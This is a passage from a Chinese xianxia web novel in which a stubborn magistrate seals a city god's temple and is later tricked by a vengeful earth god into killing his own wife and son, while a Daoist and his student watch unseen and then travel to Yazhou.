和十几名甲士来到前衙,朱铄坐在大堂正位,先提笔写了一份告示文书,大致意思便是平阳县城隍德行不修,先前治下混乱,如今又和一孩童计较,不成体统,故昃其闭门思过云云。又拿起数十张封条,在上面写写画画,随后依次加盖大印。 一切忙完之后,朱铄将告示和这数十丈封条理好,开口道:“来人。” 其中一名甲士道:“大人。” 朱铄将手中一叠封条和告示交给甲士,吩咐道:“你再找一个人,你两领一队衙役去一趟城隍庙,当众宣读这份告示,并将之贴在庙门外,再将庙中的人全部赶出来,然后将这叠封条贴上,所有的门、洞、窗、像等都要按等级依次贴好。” …… 在回去的路上,周嗣虽然余气未消,但想了想,还是问道:“老师,一千两黄金是不是真的太多了?” 赵尘也没说这一千两黄金,对朱铄来说,是不是要多了。而是笑着解释道:“据我观察,朱府之中,除去田亩、店宅之类的,再除去古玩、字画、药材、珍宝、以及各类家具、器物等等,单说现成的金银,不算各种金银器物,折合起来便有黄金一万两左右。” “黄金一万两,这不是上百万两的白银,单现银就有那么多?”周嗣不可置信道。可不可置信之余,却更加生气了。 好像看出周嗣所想,赵尘笑了笑:“这位朱县令,总的来说还是不错的,只是有三个很是明显的缺点。一曰小气,二曰刻薄,三曰掌控欲太强。最终也会毁在这三个缺点之上的。” 第九十一章 离开平阳 说话间,两人回到院子,赵尘让周嗣收拾好行李,准备离开。周嗣不解道:“道长,我们就这样离开了?” “那你想如何?杀上门去,要那位朱大人给个交代,把钱交出来,亦或者把那位朱耀给打残了?” “不是。” “那你要怎么办?” “我总觉的不对。” “哦,哪里不对,有什么不对的吗?” “我们好像被吴家给坑了?”周嗣不确定道:“一开始是那位吴离暗建议我去拜访县令的,之后也是那位吴离暗告诉了我们县令儿子的病情的。” “那又怎么样?一开始是我介绍你的身份的,人家建议你去拜访县令是一片好意。之后也是我主动询问县令家的情况,他才告诉我们县令儿子的病情的。” “可也是吴离暗建议我去拜访县令,我才发现县令家好像出了问题,之后他告诉我们县令儿子出事了,再之后我请求道长去救朱耀。” “因为这件事,我们先得罪了城隍,又交恶了县令。而据吴离暗所说,城隍是俞家先祖,同样的,俞家和县令都和吴家有恩怨。换句话说,因为吴离暗建议我去拜访县令导致了我们和吴家两个有恩怨的人交恶了。” 看着终于反应过来的周嗣,赵尘笑了笑:“便是这样,这也不能算是吴家坑了我们,这本就是你情我愿的事情啊,甚至说,人家连报酬都提前送来了呢!” “啊……报酬?” 赵尘听了周嗣的话,笑着点了点头:“不说吴俞两家的事情,单只是于我等而言,吴离暗就是这一切事情的起因。虽然他和那个佘山老人亲自上阵露了行迹,但是最开始他建议你去拜访朱铄却是合乎缘由且出自一番好意。所以虽有因果结下,实际上一点也不重,甚至可有可无。” “至于派佘山老人来试探我这件事,首先佘山老人已经那命相抵了,其次吴离暗也登门道歉了,并且给出了补偿,因果早已了结。至于一些剩下的,也没什么重要的了。” “那就这样算了?” “真正和我们结下比较大的因果的是朱铄等人,这场戏属于我们的部分已经演完了,剩下的我们只要做观众就好了。” “观众?”周嗣闻言有些好奇,随后又说到:“那老师说的报酬,便是吴离暗送来的观想图了?” “对。” 说着,赵尘看着收拾好了的周嗣,问道:“都收拾好了?” 周嗣摸了摸身后的包裹:“都已经在包袱里了。” “走吧!” 两人向平阳县外走去,刚出城没几步,赵尘忽然回头向上望去。 赵尘眼中,笼罩在平阳县上空,代表窦氏皇朝法度秩序法网忽然垂下一道道金色锁链,锁链之上跳跃这赤色的光焰。锁链击穿一层层空间,垂落在城隍神域之上,将神域封锁住。 金色的锁链和赤色的神域相互碰撞、相互消磨。按赵尘估计,这锁链将在一个多月和崩毁。而且,为了维持锁链的存在,平阳县上空,由万民气运为主体构成的法网在以肉眼不可查的速度消磨着。这一个月的时间,怕是至少要耗去平阳县十数年的积累。 被困在神域中的众多鬼神,想要出来其实非常简单,甚至说,只要那位县城隍愿意,一挥手便可以将这些锁链崩断。但是,这锁链时法网力量所化,崩断了这些锁链,不但平阳县会受影响,便是整个窦氏皇朝的国运都会产生波动,由此产生的因果,却可以让这位县城隍永堕沉沦。 所以,目前来说,这位平阳县城隍,连同此时神域中的诸多鬼神,只能乖乖待在神域之中,等着锁链的崩溃。 虽然早有猜测,但真见到这一幕,赵尘还是有些叹气,心中暗道:“想不到这位朱县令如此的倔强,唉……” “老师,你在看什么?” 见赵尘这突然回头的动作,周嗣也跟着回头看去,却只能看见黝黑的城墙,随即好奇的问道。 “咱们这位县令大人派人将城隍庙给封了。” “啊?” 周嗣闻言一愣,诧异的看了赵尘一眼,城隍庙离这里足有十几里地,隔着无数建筑、草木、行人……虽然早就知道自己的赵师法术玄奇,但这还是有些超过了周嗣的预料。 “想什么呢,这只是望气手段罢了。”看见周嗣的诧异和疑惑,赵尘解释道。 因为和赵尘待久了,思绪有些跑偏的周嗣连忙回过神来:“哦哦。” 就这样在说话间,赵尘两人又往前行了一段。待到一处略显偏僻处,趁着无人注意,赵尘将马车放出。一如来时般,周嗣驾着马车,在赵尘的指示下,向远处驶去。 …… 正在赵尘和周嗣在院子里面收拾东西的时候,朱府的两个甲士带着一班衙役去了城隍庙,将庙中的人全部轰了出来,按照朱铄的吩咐,将各处的封条贴好。 还不到半个时辰,吴府,还是那间静室,忽府的管家道:“老爷,县令已经命人将庙给封了,封条上写着要城隍闭门思过呢!”说是吴府的管家,实际上也是一位吴家的旁支族人,并且和主家隔得也不远,还不到五世。 吴家主闻言道:“好!” 随后,吴家主继续说道:“后面的事只要静观其变就好了。正所谓主辱臣死,德荫乡土地虽然忠贞,但性格急躁,正巧,咱们的城隍被县令封在神域之中,到时……” 说到这里,吴家主止住了话头,其他人也都点头应是。 “对了,赵道长和周公子呢?” “赵道长他们从县衙离开后,回小院收拾了一下行李,便离开了。估摸着,现在应该已经出城了。” “呵,所以说还是这些大派弟子见多识广,反应灵敏啊。” 吴家主看了说话的吴恒明一眼,没有说话,继续转头看向管家:“新县令现在到哪里了。” 闻言,吴管家不假思索的回答道:“老爷,李县令的车架已经到平郡了,离平阳也就是这几天的路程了。” 第九十二章 暂居洞府 顺着冥冥之中的灵觉,在气运牵引之下,赵尘两人驾着马车,沿着官道走向,微微偏离官道,一连走了好几天,最后在一片小山处停下。这说是小山,却也有三四百丈高。 赵尘两人在半山腰一片山林处停下,赵尘四处观望了一番:“这附近十数里都没有什么大的猛兽,而且,因为附近也没有什么名山大川,也不会有什么凶残的妖怪。所以,暂时来说,这里相对于你来讲还是非常安全的,你在这里等我一会儿,” “我们大概要在这里住上一些日子,我去山上开辟一个住所,短则半个时辰,多也不会超过一个时辰,我便回来接你。” 对此,周嗣也只能回答道:“一切全凭老师吩咐。”心中却有些跳脱的想到:“老师不会把我扔在这里,然后自己跑路吧,要真是这样,我该怎么回家呢?” 看出周嗣心中所想,赵尘没好气的拍在其脑袋上:“想什么呢?”说着,为其留下几张防身的符篆,便飘然而去。 整座小山,东面最是平缓,从山脚到山顶,足足有三里多远,南北两面较陡,从上脚到山顶,差不多都只有一里多远,连一里半都不到。但这三面都林木葱郁、百草丰茂,常有附近村民来这里打猎、采药。但小山的西面却忘却是一片悬崖绝壁,虽不至于寸草不生,但远远看去,也几乎只是一面光秃秃的石壁。 赵尘藏住身形,飞到小山西边悬崖那一面,用飞剑在石壁上开辟了一方洞府,因为洞府开辟的巧妙,不但外面风雨吹不进来,而日月星辰的光芒却可以照进来,并且,外面的人在远处观望,绝对发现不了洞府的存在。 赵尘在洞府中不但开辟了大厅、厨房、厕所、丹房各一间,卧室、静室各两间之外,还顺手开辟了一方药园,在洞府开辟好之后,赵尘又接着调理好风水,布置好阵法,花了半个多时辰才将这一切都处理好。随后,赵尘回到小山的南面,将周嗣接了过来。 在一切都安顿好之后,周嗣从自己房间中走出来,学着赵尘的模样,站在洞府门口,依着石栏,凭栏远眺,只见远处十数里之外,在一片郁郁葱葱之中,有一条官道若隐若现的绵延而过。 忽然,赵尘转过头来,有些自得的问道:“在此处观景如何? 周嗣想了想,回答道:“虽无什么精致景色可以赏玩,但这般登高望远,只觉天地一片苍茫,只觉心胸一片开阔。” 赵尘闻言笑了笑,不置可否,随即说道:“这里距离平阳县差不多有三千五百里之遥,属于和平阳县相邻的平西县,前面这条官道便是从平阳县城到平西县城,再从平西县城到平郡郡城的那段官道,我们要在这里生活些日子,你看洞府中可还缺少些什么?” “回禀道长,我刚刚四处查看了一下,这水从石壁上渗下来,是非常清洌的山泉,只是缺少几个盛水的容器。还有厨房里还没有柴火,便是这两样,其它的都不缺了。” 赵尘闻言点了点头:“知道了。” 说罢,赵尘一挥衣袖,便用飞剑削出几只石缸:“至于柴火,我回头去山上带些回来。” 说着,赵尘转过身看着周嗣道:“经过一年多的功夫,纯净元气的工夫已经结束有一段时间了,接下来便要给你重新安排一些其它功课了。” 闻言,周嗣恭敬道:“全凭道长吩咐。” 赵尘盘算着说道:“首先要教导你读书识字,其次还有安排你开始国术的修习。嗯,暂时就这些。” “国术是什么,还有,识字?”周嗣有些诧异的问道。 “国术,是一种锤炼筋骨,壮大气血的功夫。因为消耗比较小还不用灵气,所以不会污染自身元气。而且这也不妨碍将来培元养气。”赵尘语气中带着丝丝周嗣听不出来的怀念。 接着,赵尘露出丝丝笑容:“还有,我刚才说的确实是识字,周生,你不会觉得自己会认字吧?” 随后,在周嗣不服气的眼神中,赵尘随手写下几个字,问周嗣是否认识。看着这隐约间似乎有些眼熟的几个字,周嗣不得不承认,某种情况来说,自己确实是个文盲。 “这是道文,这是仙文,还有神文和冥文……”赵尘依次指着这几个字说道。随后,赵尘将道文、仙文等解释了一番。 “对,识字,首先是道文,然后是仙文,接下来还有神文和冥文”随之,随后接着说道:“至” 之后几天,赵尘便开始为周嗣讲解道书经典,就着周嗣之前读的经典教导周嗣识字,指导周嗣国术修习。当然,赵尘自己也每日或焚香习字,或研读经典……每天都勤练不辍,过的非常充实。 便这样过去了十几天,一天傍晚,朱铄一家三口带着一些仆人婢女来到了距小山十几里远的官道旁的一间旅驿。 因为地盘太大,所以包括窦氏皇朝在内几乎所有的人间朝廷的地方官职都是五年一任,使地方官员既不会因此坐大成势,也不会把时间频繁浪费在迁官赶路上。而朱铄在平阳这一任,成绩斐然,被评为最优,正要去郡上进行汇报并且领取新职。 朱福在马车前对朱铄道:“老爷,按照地图来看,我们目前正在平西县的德荫乡,大概明天下午可以到平西县城。如今天色已经晚了,老爷,你看是不是在这里休息一晚在赶路。” 朱夫人看着眼前破旧的旅驿,眉头直皱。朱铄见状却慰道:“出门在外,还有什么好讲究的,只是辛苦夫人了。”说着又回过头对朱福道:“啊福。你去安排吧。” 所谓旅驿,便是由私人开办的,向官府登基、报备的,受朝廷监管的,官府定时进行检查的,不可随意关闭和废弃的,旅舍和驿站的结合体。 就在朱福进行安排的时候,朱铄在马车中坐了一天,便在旅驿中四处走动,活动筋骨。 第九十三章 入住旅驿 朱铄在旅驿中闲逛着,忽然发现旅驿中有一座小楼,看起来装饰的不错,但小楼外却用手臂粗的锁链将门锁住,并且小楼的其它门窗也都用厚实的木板钉死。看痕迹也没些日子,还很新,朱铄感到奇怪,便让人找来店主询问。 店主来到朱铄跟前,见礼道:“大人有所不知,前些日子,这楼中忽然来了怪异,当时便请法师来治了,却没有效果。之后卑职将这件事报告到了县里,县里来人看了,也请了法师,也是没有办法,无奈之下,只能将这座小楼给封了起来。好在这怪异没有伤人,并且将小楼封起来之后,只是偶尔可以听见楼中有动静,便没有其它的事了。” 朱铄闻言,嗤笑道:“我辈读书人,胸中自有一股浩然正气,有什么好怕的。再说了,若是这怪异真有灵验,听见我的威名,也是它害怕才对。这怪异若是识时务,便应该自己早早的退去。否则……” 说罢,一甩衣袖,双手背在身后,转身看着旅驿的主人道:“将锁链打开、木板拆掉,我今晚便住这里了。” 旅驿主人闻言,大惊道:“大人,万万不可啊,拆不得、住不得啊!” “有何拆不得,住不得的,左右,还不动手。” “大人,真的不能拆啊,若是让楼中怪异跑了出来,那可是天大的祸事啊。”旅驿主人张开双臂,不断将其拦住:“这小楼更是住不得啊,万一惊扰到大人……唉矣……那可真是祸事啊。” “过来,老爷他们这是在争论什么呢?”朱夫人等人将房间收拾好,也被争论声吸引了过来,遂招来一个家丁问询道。 “夫人,旅驿主人说那小楼闹怪异,老爷让旅驿主人将小楼打开,说是今晚要住那里……”被招过来的仆人对其低声解释道。 朱铄夫人闻言,也是大惊道:“老爷,住不得啊。”说着,便是苦苦劝道,便是朱福的人也苦苦哀劝说道:“老爷,这小楼也住不得啊……” 可朱铄却是一点也听不进去,好在这楼中虽有怪异,但却从没有伤过人命。众人无奈之下,只能作罢。 其实早在朱铄等人将马车停在旅驿门口之时,赵尘便带着周嗣从远处洞府隐住身形,驾着云朵状法器飞了过来。赵尘掐着法诀,和周嗣悄悄落在旅驿院子中。 随后,赵尘从袖中摸出一面好似精铁锻打成的镜子,赵尘将镜子捧在手中,一层清辉从镜子中洒出,将赵尘和周嗣完全笼罩住。 这面镜子也是赵尘在那残破洞天中的收获,本来是一件法宝,后来掉落成了一件残缺法器,好在材质不错,赵尘将之修了修,用起来还是非常不错的。 这面精铁镜子的用处不少,其中最大的妙用便是遮掩身形,将效果发挥到最大时,可以遮掩住一县之地,仙道以下者是一点也发现不了。 当然了,要是真这么用,便是将赵尘抽干也坚持不了一瞬。好在现在只是将赵尘和周嗣两人的身形完全遮掩住,使真君以下境界者发现不了便可以了,所以对法力的消耗还不算不大的,在磨盘的配合下,便是连续使上几天也是可以的。 其实,单是遮掩身形,赵尘的那件云斗法器也可以做到,而且,在赵尘重新炼制之后,这法器就威力更大,妙用更多了。但因为今天情况特殊,赵尘怕法器被看破,才使用了这件法宝。 看着朱铄的动作言语,赵尘对周嗣道:“几天没见,这朱大人的风采、气度等都更胜往昔啊。” 周嗣却好奇道:“老师,我们来这里干什么?” “之前不是和你说过吗,我们将属于自己的戏演完了,来这里当观众,来欣赏这场大戏这精彩的压轴一幕啊。” 看着刚愎自用的,非要住在小楼中,丝毫听不见别人劝告的朱铄,赵尘长长的叹了口气,随后摇了摇头。 周嗣见状,好奇道:“老师何故叹息摇头呢?” 赵尘摇头道:“天意如此,自绝生路,怨不得人啊……” 周嗣闻言一惊:“难道……” 赵尘却摇了摇头,没有再说话。 苦劝不听之后,朱铄将妻子、仆人婢女等人在别处安排好,当天夜里,朱铄独自一人住在小楼中。 朱铄在二楼正厅的中间正坐,身前摆了一张小案。案上只有一盏油灯。朱铄双膝横着一把宝剑,手中捧着一卷书,就这灯光细细的读着。 而赵尘、周嗣两人也铺着两张暖席,坐在正厅的角落里,安静的待着。赵尘盘坐在席子上,默默调息着。周嗣便捧着一卷道经,借着朱铄案上传来的微弱烛光看着书,时不时的打了个瞌睡。便这样一直到了三更时分,一阵脚步声从楼梯那边传了过来。 “吱……咯噔,吱……咯噔,吱……” 忽然听见这一阵木板的声音和脚步声从楼梯那边传了过来,周嗣心中一激,猛然清醒过来。 “噔噔蹬……” 随着脚步声在门外停止,一阵敲门声从门外传来。 “吱……” 随着敲门声结束,便见门被人推了开来,朱铄和周嗣都朝门外看去。 只见门外站着一位五尺多高的老者,头顶着绛冠,朱缨粲烂。鹤发童颜,面容慈祥,白须过胸。身穿绯红色神道官袍,脚踏一双皂色长靴,浑身好像泛着淡淡的光辉。老者推门而进后,对着朱铄长长的一揖。 朱铄左手持着书卷,右手握着剑柄,呵斥道:“尓乃何怪,敢在我面前卖弄?” 看着出现在朱铄面前的老者,赵尘不禁惊讶道:“竟是一位从七品的乡土地神。” 随后又深深的叹了口气:“七品神灵,那可是四阶的存在,相当于炼虚合道的道门天师天人。放在神魂一脉,便是驻世散仙。”叹息之余,赵尘又有些庆幸。庆幸自己早作准备,用这件法宝遮掩身形,才没有被看破。 听见朱铄的话, 老者不慌不忙的解释道:“我乃此地的土地神,不是这楼中怪异。前些日子,不知从哪里来了两只恶鬼,将这座小楼占据。这两只恶鬼颇有一些手段,老朽只能勉强将之压制住,不让其伤了人命,其它的却实在无能为力了。” 第九十四章 朱铄治鬼 “今天傍晚,老朽发现有贵人至此,想着正好趁此机会将两只恶鬼扑灭,特来拜见贵人。心中欢喜,倒是老朽冒失了,不小心冲撞了贵人,还请贵人勿要见怪。” 朱铄闻言点了点头,相信了老者所说,持着书本一抬手,指着老者道:“姑且相信你所说,那你说的请我帮你灭怪,又是何事呢,你且详细道来。” 老者闻言大喜:“还请贵人听我详细道来,朱公威名,老朽也是早有耳闻。这两只恶鬼在此虽未伤人性命,但盘踞在此,终为不美。更何况这两只恶鬼虽未在此伤人性命,但有没有在别的地方伤人性命却是不敢说了。” “这两只恶鬼新到此地,不知朱公威名。待会儿我将两只恶鬼依次驱赶过来,朱公只管用公手中宝剑挥之,到时候老朽再在一旁相助,定叫两只恶鬼授首。到时候,朱共击杀两恶鬼,这既是一份美誉,也是一笔不小的功德。” 朱铄闻言有所心动,但又为难道:“这恶鬼乃虚幻之物,我这宝剑又有多少伤害呢?”心中却是想到:“到时候怕是我在一旁辅助,你将两只恶鬼斩杀,倒是后即使有功德,那我又能分润多少呢?” 老者闻言,左手一张,手中出现一只小瓷瓶:“朱公勿忧,我正要和朱公说呢!” 说着将瓷瓶递给朱铄:“这瓶中之物,俗名唤作杀鬼粉,朱公将粉末抹在剑上,这两只恶鬼都披有人皮,到时候朱公一剑下去,不但将恶鬼所披的人皮砍坏,还可以将恶鬼的本体砍伤、砍死。” 朱铄听了老人的话,心中暗哼道:“果然,这神道之人,多是一丘之貉。这老者看着面善,却也是个奸猾之辈。要是我不主动询问,你会将这杀鬼粉给我。” 表面上,朱铄却一脸大喜道:“实在太感谢了,你快去驱赶恶鬼吧。” 老者对着朱铄一拜,转身出去了。朱铄连忙将瓷瓶打开,从瓶中倒出一种绿莹莹的粉末,朱铄将粉末涂抹在宝剑上,整个剑身,从剑脊、剑背到剑刃都发着绿莹莹的光芒。朱铄看着瓶中粉末还够涂上四、五次,便将瓷瓶小心收进怀中。 过了片刻,老者追赶着一只面色苍白的恶鬼而来,老人在后面追赶,手中提着一根拐杖不是击打白面恶鬼的背面。白面恶鬼慌不择路的满地乱窜。 忽然,白面恶鬼看见朱铄,猛地加速,口中咆哮着朝朱铄扑了过来。老者见状,大呼到:“朱公小心!” 朱铄见状,怒喝道:“好鬼,可是见我可欺呼?”说着,口中一声高喝:“着!”提着剑朝白面恶鬼劈去。 恶鬼应声而倒,朱铄不放心,又对着恶鬼连劈几剑。直到这时,老者才赶过来。朱铄对老者笑道:“区区恶鬼,也不过如此嘛。” 老者也是恭维道:“朱公果然名不虚传,这小鬼在朱公面前,也只有束手待毙的命罢了。” “哈哈……谬赞了,谬赞了。对了,不是说还有一只鬼吗?正好,事不宜迟……” “这……”老者为难道:“这已经除了一只鬼了,还有一只,便不敢劳烦朱公了,等过些日子,老朽自己便可以手到擒来。” 朱铄劝说道:“老人家此言差矣,正所谓斩草不除根,春风吹又生。若是不现在将其除去,等过段时间又来一只恶鬼怎么办,所幸趁现在一起除了算了。” 见此,老者想了想只能叹息一句道:“好吧……”说着便转身离开后。 又过了一会儿,还是和先前一样,老者驱赶着一只面色乌青,嘴唇漆黑,两根五、六寸长的獠牙向上刺出的瘦长恶鬼向朱铄赶来。和之前白面鬼一样,看见朱铄之后咆哮着朝朱铄扑来,朱铄也是怒喝着提剑而砍。 不同的是,这青面鬼猛的往旁边闪过,宝剑只是砍伤了青面鬼的臂膀,剑刃划过,青面鬼的伤口上流出了乌黑的血液,气味腥臭扑鼻。 朱铄见状,后退一步,继续砍去,同时用眼睛瞄到正快速跑来的老人,连忙高声道:“这只恶鬼倒是有些本事,老人家请稍作休息,且看我手段。” 经过一番激烈的周旋搏斗,随着青面恶鬼痛呼倒地,朱铄终于独自一个人将青面恶鬼击杀。看着周围自己的战绩,朱铄高呼一声:“痛快!这恶鬼也不过如此而已,土地,我且问你,还有什么麻烦吗,本官一并帮你解决了。” “朱公果然本事了得,老朽地界也只有这两只恶鬼作乱。如今都已在朱公剑下授首,老朽这便告辞了。”说罢,不待朱铄回答,老者便转身离开了。 朱铄见状,一声冷哼,心道:“这等毛神,果然都是粗俗无礼之徒,而且还不服朝廷管教。” 随后又看了看自己的战绩,便又欣喜道:“这两只恶鬼祸害此地许久,竟无人能治,惹得天怒人怨,这不但是土地神无能,也是此地县令的失职。如今这两只恶鬼皆在我剑下授首,实在是大快人心至极。可若不被人所知,便是我明天出去,他们最多以为恶鬼暂不在家,又怎会知道恶鬼以被我除去除,实在不美。” 随之朱铄便想将恶鬼被自己除去的消息告诉旅驿主人,于是高呼道:“来人,来人恶鬼以被我除去,速速来人!” 叫了几声都没见人上来,也没有人应答。朱铄心中奇怪,将剑插在木板上,从小案上提起油灯,握着油灯跑向楼下走去。下到楼之后,却发现守在楼外的自家仆从都沉睡不醒。朱铄心道:“这应该是那土地神的手笔。” 正在这时,一阵鸡叫传来,朱铄用脚踹醒了守在地上的仆人,便和仆人一起将旅驿的主人一家叫醒,将事情对旅驿的之人说了。朱铄看见妻子和儿子还在房间熟睡,便对朱福吩咐道:“这段时间赶路实在太辛苦了,就不要去打扰夫人和耀儿了。” 第九十五章 因果两清 随后,一群人拥着朱铄来到楼上,提着灯笼照去,只见楼上一片狼藉,朱铄的夫人和孩子横尸其间,原来那白面鬼便是朱耀,那青面鬼便是朱铄的夫人。 朱铄见状,骤然一愣,过了好一会儿才反应过来,扑倒在地上,呜咽道:“想我朱铄,苦读圣贤书,福泽一方,竟然被妖鬼所欺!这妖鬼欺我太甚,欺人太甚啊!” 说罢,朱铄捶胸顿足,嚎啕大哭。哭泣间,朱铄将妻儿尸体聚在一起,趴在妻儿尸体上哀嚎不止,痛苦流涕。 这哭的真是闻者伤心,见者流泪啊。朱福等人纷纷劝慰着,而旅驿主人焦急的在一旁走来走去,口中念念有词道:“怎么办啊,该怎么办啊,早说这楼中有怪异,不能住啊,你偏偏不听。这下好了,出了人命,你叫我该怎么办啊。” 听到旅驿主人的话,若不是旅驿的人拦着,旅驿主人怕不是要被朱铄家的仆人活活打死。 朱铄趴在尸体上痛哭不停,大恸间忽然没了声息,朱福见状,连忙扑了过来:“老爷,老爷!”却发现朱铄已经没了声息。 见这一转眼又死了一个,而且还是一个回郡述职的县令,旅驿主人猛地往后一退,一个踉跄,一屁股坐到地上,喃喃自语道:“又死了一个,祸事了,祸事了。” 一直过了好一会儿,旅驿主人才回过神来。一位县令,就这样不明不白的全家死绝在自家旅驿里,没有办法,旅驿主人只能让人骑快马去县里报告了。 赵尘和周嗣两人全程将朱铄除鬼的过程看了个一清二楚,看着地上两具恶鬼尸体突然变成了朱铄的夫人和孩子,看的周嗣愣愣不言。 见朱铄气绝之后,赵尘叹了口气:“唉……你在平阳县中和我结下因果,如今我在一旁旁观你一家惨剧,没有出手相助,虽是你自绝活路,天意之下,命该如此,但终究还是有点不对。如今你我便是恩怨了结,因果两清了。” 实际上,按照赵尘本来的打算,赵尘虽想让朱铄受一个教训,吃点苦头,但绝没想如此,赵尘甚至打算,来人若是做的过分,便出手或是将之拦下,或是用些手段,用幻术之类的手段,将两边都糊弄过去。 谁成想,来的竟然是一位七品的乡土地神,比自己高两阶,上赵尘完全,没有出手的余地。 说着,赵尘看着周围的闹剧,摇了摇头,回过头来,有些索然无味的对周嗣道:“这场戏的这出压轴一幕结束了,走吧。” 说着便带着周嗣隐着身形,趁乱离开了旅驿,回到了自家洞府。 回到洞府之后,赵尘让周嗣迅速将一切都收拾好,也没有使用马车,而是直接放出楼船,驾着楼船向远处飞去。 临走之前,赵尘回过头看了眼这住了两个多月的洞府,心中想到:“这洞府内石壁上刻录的文字,药园中栽种的药材,不知将来可会遇到有缘呢?” 直到过了好长一段时间,周嗣才恢复过来,向赵尘问道:“老师,之前那老者真是土地神吗?”虽然周嗣之前已经听赵尘说过了,但周嗣依然不敢相信的对赵尘问道。 赵尘点了点头:“自然是一方正神,此处土地,从七品的德荫乡乡土地神。” “那祂为何……” 赵尘解释道:“这位土地神,不单是一方正神,也是俞家的家臣。那天,在我等治好朱耀后,朱大人将城隍庙给封了。正所谓主辱臣死,先是朱耀以尿溺了城隍神像,城隍也是知道小孩子不懂事,稍作惩戒,只是让其来道个歉,” “而朱大人先是找人强行破了城隍的惩罚,随后又用知县大印将城封禁。朱大人这般对待他家主公,也别怪人家一‘热血冲头’,和你玩命了。” “玩命?老师,你的意思是说那位土地神这般行事,也是会遭受很重的惩罚了?” “没错,这天地之间自有秩序,神道也是有相应的规则,岂容神灵胡乱放肆。这位土地神这般行事,最少也是个打落神位,至于更重的立即送入轮回,或者压如鬼狱也说不定。” “当然了,虽然祂是私自行动,俞家一定会对其有所惩戒,对其他人起到警示作用。当然了,俞家也会对那位土地神做出补偿的,以免寒了其他人的心。” “私自行动?” 赵尘笑道:“平阳县那位城隍目前还被朱大人的大印封着,正在闭门思过呢,要不然一定不会让其这么干的。这也是一饮一啄,自有定数啊。” “当然了,这样一来,朱大人一家三口都死了,那位土地神也会遭受处罚。便是包括平西县城隍在内的所有这位土地神的上司,也都会受到大小不一的训诫,虽然这是无妄之灾,谁让他们是这位土地神的上司呢?平阳县城隍虽不会受到直接的处罚但在气运、功德等方面,都会受到冥冥之中的牵连。,” “哦,那道长以你看来,这位土地神会受到俞家内部什么样的处罚和补偿呢。” “这个嘛……”赵尘想了想,说道:“惩戒先不说,我也猜测不到。只说补偿,那便要看这位土地神自己要受到何种处置了。若只是打落神位,以俞家来说,只要愿意付出一定的代价,再将他送上另一个神位也不难。若是这位土地神要真是只被打落神位,俞家也有很大可能这样补偿祂。” “若是如此,俞家最多,也是最大可能,会让其成为一位从九品的神吏。从从七品降到从九品,从一方开府建衙的主神降到一名神吏,但这至少还在神道体系之中。” “若是那位土地神被判打落神位后立即送入轮回,虽然轮回绝不是俞家可以插手的地方,但俞家可以用些别的手段找到这位土地神的转世之身。若是找不到,自然是一切休提,既不会有惩戒,也不会有补偿。” “但若是能找到,俞家一定会在人间为其安排好。比如想方设法照顾其生活,为其安排名师,给他安排各种机遇,将他的命运再次和俞家交织在一起,使其在俞家的帮助下不断成长,同时也为俞家编织新的关系网络。并在最后重新将其引渡回来。” “当然了,这一切的前提是能找到这位土地神的转世之身,并且这位转世之身还在俞家的势力范围之内,或者可以将之带回俞家的势力范围之内,否则只能在这里干瞪眼了。” “若是这位土地神被判打落神位后压如鬼狱,进行惩戒,估计俞家就没办法了。不对,如今玄冥部洲的地府正是虞朝江氏龙庭,所以俞家只要愿意付出足够的代价,也是可以把手伸进鬼狱的,只是代价太大,不怎么合算,所以很大可能还是会放弃这位土地神。” “原来是这样啊,”周嗣点头道,随即又想起了老者交给朱铄的杀鬼粉,于是又问道:“那所谓的杀鬼粉又是怎么回事呢?” “杀鬼粉啊,据我观察,这是一种可以伤害到灵体的粉末。所以朱大人的家眷,不但被朱大人杀死,连魂魄都被砍得残缺了呢?” “这么狠毒,祂难道就不怕……” “怕什么,那位土地神虽然‘头脑发热’,但也是活了数百年的老狐狸,这伤害灵体的手段是朱大人自己索要的。而先被杀死的朱耀是其自己不敬城隍在先,而且城隍已经给了他机会。并且在朱大人杀了朱耀之后,土地已经主动阻止了,是朱大人自己不听劝。再加上一直都是朱大人自己动的手,并阻止土地插手。这几点下来,那位土地的罪过便轻了不少了。” 周嗣点了点头,随之又说道:“老师,这次我们走的有点急,难道……” 赵尘一巴掌拍在周嗣脑袋上:“想什么呢?”随即又说道:“不过你这么说也对,我这也是躲麻烦。昨天夜里我们在旁边看了场热闹,而且洞府开的离旅驿那么近。到时候等那边闹起来,郡城隍一定会叫我们去问话的。我虽然不畏惧郡城隍,但却怕麻烦。” “而且一定会卷进和俞家的恩怨中,因果纠缠之下,最后很可能又会牵连到地府,到时候,不但麻烦无穷无尽,便是这理都理不顺的因果,就可以把人逼疯。到时候想要从中脱身,怕是要付出百千万倍的代价。我没事往那里面凑干什么?” “老师,那这件事也是吴家安排的吗?” “安排,倒也差不多吧。这事前面有吴家在引导,后面肯定又有吴家顺水推舟的推了一把。但说到底,也只是因势利导罢了。” “那这次还是就这样算了吗?” “拿人钱财,与人消灾。我既然收了吴家的好处,就不会后悔。但是,这吴家却是忘了给你准备一份报酬了,这却是和你之间的因果,将来怎么办还是要看你的。” 第九十六章 初到涯州 第一百四十八纪元,第一劫,第四元,第七会,第十三运,第三百一十七年冬,亦是窦氏皇朝的永嘉四十三年冬。距离之前赵尘、周嗣两人在济州济南府平郡,平西县德荫乡的旅驿中旁观朱铄一家的惨剧已经过去大半年了。 先前,赵尘和周嗣在旅驿旁观完朱铄一家的惨剧之后,赵尘回到洞府稍作收拾,便立刻驾着楼船东去。之后便一路直行,离开了济州,来到了相邻的涯州。 涯州是位于玄冥部洲冥仑山以南最东、最北的一个州,古有天涯海角之称,故称之为涯州。涯州西面是越州和济州。北面绝大多数便是冥仑山脉最后七分之一的,总长差不多三十五万多里的尾脉,剩下的数万里长的一段则和镇东道相连,有山海走廊之称。至于涯州的东面,则是无尽大海,而涯州的南面则是窦氏皇朝的税赋重地:海州。 在涯州的最南端,则是一座窦朝少有的大城:滨海城。滨海城坐落在涯州和海州的交界处。因此,这座滨海城的归属问题,自滨海城建立之初,便被两州争论不休。两百年前,滨海城被划给了海州,虽有几次反复,但也问题不大。海州可以成为窦氏皇朝的税赋重地,滨海城至少占了三成原因。 至于涯州的中部则是被一条从济州而来,自西南向东北,差不多流经涯州两岸四十万里,最后奔流入海的济江给将一分为二。而被四十多万里济江流经的涯州两岸,则是一片土地广阔,植被茂盛的的肥沃平原。这片平原则被称为济江平原或涯州平原。谁也没有料到,三分之二在济州的济江只哺润了济州不到五分之一的地区,却成全了涯州的丰饶。 涯州一年所产的粮食虽远不如广原道一道之地一年所产的粮食多。但若以平均每亩所产来论,却要多上五成。 